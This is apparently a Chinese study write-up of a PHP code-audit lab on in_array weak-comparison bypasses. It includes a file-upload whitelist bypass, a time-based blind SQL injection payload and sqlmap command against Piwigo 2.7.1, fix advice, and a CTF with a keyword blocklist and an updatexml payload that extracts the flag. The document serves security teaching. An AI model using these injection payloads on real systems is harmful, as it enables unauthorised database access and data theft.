红日代审-Day1-in_array弱比较问题

来源:https://github.com/hongriSec/PHP-Audit-Labs/blob/master/Part1/Day1/files/README.md

很多话我不想再重复了,就直接照搬的原话,能看就行

in_array函数

1
in_array(mixed $needle, array $haystack, bool $strict = false): bool

大海捞针,在大海(haystack)中搜索针( needle),如果没有设置 strict 则使用宽松的比较。

  • needle 待搜索的值。如果 needle 是字符串,则比较是区分大小写的
  • haystack 待搜索的数组
  • strict 如果第三个参数 strict 的值为 true 则 in_array() 函数还会检查 needle 的类型是否和 haystack 中的相同,如果没有开启严格模式,则比较时就存在一个弱比较、强制类型转换的问题

示例

1
2
3
4
5
6
7
8
9
<?php
$os = array("Mac", "NT", "Irix", "Linux");
if (in_array("Irix", $os)) {
echo "Got Irix";
}
if (in_array("mac", $os)) {
echo "Got mac";
}
?>

第二个条件失败,因为 in_array() 是区分大小写的,所以以上程序显示为:Got Irix。这里可以思考到如果直接这样来写过滤规则,将存在一个大小写绕过的安全问题

1
2
3
4
5
6
7
8
9
10
11
<?php
$a = array('1.10', 12.4, 1.13);

if (in_array('12.4', $a, true)) {
echo "'12.4' found with strict check\n";
}

if (in_array(1.13, $a, true)) {
echo "1.13 found with strict check\n";
}
?>

严格,强类型比较,会输出,1.13 found with strict check。这里可以思考到如果第三个参数没有设置为true,将存在一个弱比较的安全问题

in_array弱比较Demo分析

1

首先Demo是一个文件上传,设置了白名单$whitelist 这是一个范围,1到23,可能代表允许的23种文件后缀,如果文件后缀不在这个范围内,就判定为不合法文件,就无法被上传

但是判定时,使用了不严格模式下的in_array函数进行了弱比较。由于该函数并未将第三个参数设置为 true ,这导致攻击者可以通过构造的文件名来绕过服务端的检测,例如文件名为 7shell.php 。因为PHP在使用 in_array() 函数判断时,会将 7shell.php 强制转换成数字7,而数字7在 range(1,24) 数组中,最终绕过 in_array() 函数判断,导致任意文件上传漏洞。这里之所以会发生强制类型转换,是因为目标数组中的元素为数字类型

piwigo2.7.1实例分析

环境搭建

源码:https://piwigo.org/download/dlcounter.php?code=2.7.1

  • 源码:piwigo2.7.1
  • Apache 2.4.34
  • php 5.5.38
  • MySQL 5.5.53

image-20250117165559988

审计

漏洞的入口文件在 picture.php

  • picture.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
define('PHPWG_ROOT_PATH','./');
include_once(PHPWG_ROOT_PATH.'include/common.inc.php');
include(PHPWG_ROOT_PATH.'include/section_init.inc.php');
include_once(PHPWG_ROOT_PATH.'include/functions_picture.inc.php');
…………………………………………………………………………………………………………………………………………………………………………………………………………
// +-----------------------------------------------------------------------+
// | actions |
// +-----------------------------------------------------------------------+

/**
* Actions are favorite adding, user comment deletion, setting the picture
* as representative of the current category...
*
* Actions finish by a redirection
*/

if (isset($_GET['action']))
{
switch ($_GET['action'])
{
case 'add_to_favorites' :
{
$query = '
INSERT INTO '.FAVORITES_TABLE.'
(image_id,user_id)
VALUES
('.$page['image_id'].','.$user['id'].')
;';
pwg_query($query);

redirect($url_self);

break;
}
…………………………………………………………………………………………………………………………………………………………………………………………………………
case 'rate' :
{
include_once(PHPWG_ROOT_PATH.'include/functions_rate.inc.php');
rate_picture($page['image_id'], $_POST['rate']);
redirect($url_self);
}

$_GET[‘action’]rate 的时候,就会调用文件 include/functions_rate.inc.php 中的 rate_picture 方法,而漏洞便存在这个方法中。

  • include/functions_rate.inc.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
function rate_picture($image_id, $rate)
{
global $conf, $user;

if (!isset($rate)
or !$conf['rate']
or !in_array($rate, $conf['rate_items']))
{
return false;
}
…………………………………………………………………………………………………………………………………………………………………………………………………………
if ($user_anonymous)
{
$query.= ' AND anonymous_id = \''.$anonymous_id.'\'';
}
pwg_query($query);
$query = '
INSERT
INTO '.RATE_TABLE.'
(user_id,anonymous_id,element_id,rate,date)
VALUES
('
.$user['id'].','
.'\''.$anonymous_id.'\','
.$image_id.','
.$rate
.',NOW())
;';

我们可以看到下图第23行处直接拼接 $rate 变量,而在第2行使用 in_array() 函数对 $rate 变量进行检测,判断 $rate 是否在 $conf[‘rate_items’] 中, $conf[‘rate_items’] 的内容可以在 include\config_default.inc.php 中找到,为 $conf['rate_items'] = array(0,1,2,3,4,5);

image-20250117171413988

由于这里并没有将 in_array() 函数的第三个参数设置为 true ,所以会进行弱比较,可以绕过。比如我们将 $rate 的值设置成 1,1 and if(ascii(substr((select database()),1,1))=112,1,sleep(3)));# 那么SQL语句就变成:

1
INSERT INTO piwigo_rate (user_id,anonymous_id,element_id,rate,date) VALUES (2,'192.168.2',1,1,1 and if(ascii(substr((select database()),1,1))=112,1,sleep(3)));#,NOW()) ;

这样就可以进行盲注了,如果上面的代码你看的比较乱的话,可以看下面简化后的代码:

4

漏洞复现

直接sqlmap跑吧

1
python sqlmap.py -u "http://127.0.0.1/cms/piwigo2.7.4/picture.php?/1/category/1&action=rate" --data "rate=1" --dbs --batch

5

修复建议

可以看到这个漏洞的原因是弱类型比较问题,那么我们就可以使用强匹配进行修复。例如将 in_array() 函数的第三个参数设置为 true ,或者使用 intval() 函数将变量强转成数字,又或者使用正则匹配来处理变量。这里我将 in_array() 函数的第三个参数设置为 true ,代码及防护效果如下:

6

CTF例题练习

搭建

  • phpstudy搭建即可
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
//index.php
<?php
include 'config.php';
$conn = new mysqli($servername, $username, $password, $dbname);
if ($conn->connect_error) {
die("连接失败: ");
}

$sql = "SELECT COUNT(*) FROM users";
$whitelist = array();
$result = $conn->query($sql);
if($result->num_rows > 0){
$row = $result->fetch_assoc();
$whitelist = range(1, $row['COUNT(*)']);
}

$id = stop_hack($_GET['id']);
$sql = "SELECT * FROM users WHERE id=$id";

if (!in_array($id, $whitelist)) {
die("id $id is not in whitelist.");
}

$result = $conn->query($sql);
if($result->num_rows > 0){
$row = $result->fetch_assoc();
echo "<center><table border='1'>";
foreach ($row as $key => $value) {
echo "<tr><td><center>$key</center></td><br>";
echo "<td><center>$value</center></td></tr><br>";
}
echo "</table></center>";
}
else{
die($conn->error);
}

?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
//config.php
<?php
$servername = "localhost";
$username = "fire";
$password = "fire";
$dbname = "day1";

function stop_hack($value){
$pattern = "insert|delete|or|concat|concat_ws|group_concat|join|floor|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile|dumpfile|sub|hex|file_put_contents|fwrite|curl|system|eval";
$back_list = explode("|",$pattern);
foreach($back_list as $hack){
if(preg_match("/$hack/i", $value))
die("$hack detected!");
}
return $value;
}
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# 搭建CTF环境使用的sql语句
create database day1;
use day1;
create table users (
id int(6) unsigned auto_increment primary key,
name varchar(20) not null,
email varchar(30) not null,
salary int(8) unsigned not null );

INSERT INTO users VALUES(1,'Lucia','Lucia@hongri.com',3000);
INSERT INTO users VALUES(2,'Danny','Danny@hongri.com',4500);
INSERT INTO users VALUES(3,'Alina','Alina@hongri.com',2700);
INSERT INTO users VALUES(4,'Jameson','Jameson@hongri.com',10000);
INSERT INTO users VALUES(5,'Allie','Allie@hongri.com',6000);

create table flag(flag varchar(30) not null);
INSERT INTO flag VALUES('HRCTF{1n0rrY_i3_Vu1n3rab13}');

image-20250117172740396

wp

就是会被 stop_hack过滤掉一个关键字,那么可以使用一些没有被过滤的报错函数来绕过

然后就是payload一定要以1-5的数字开头,这样就能利用弱比较绕过in_array的过滤

1
?id=1 and (select updatexml(1,make_set(3,'~',(select flag from flag)),1))

image-20250117173515095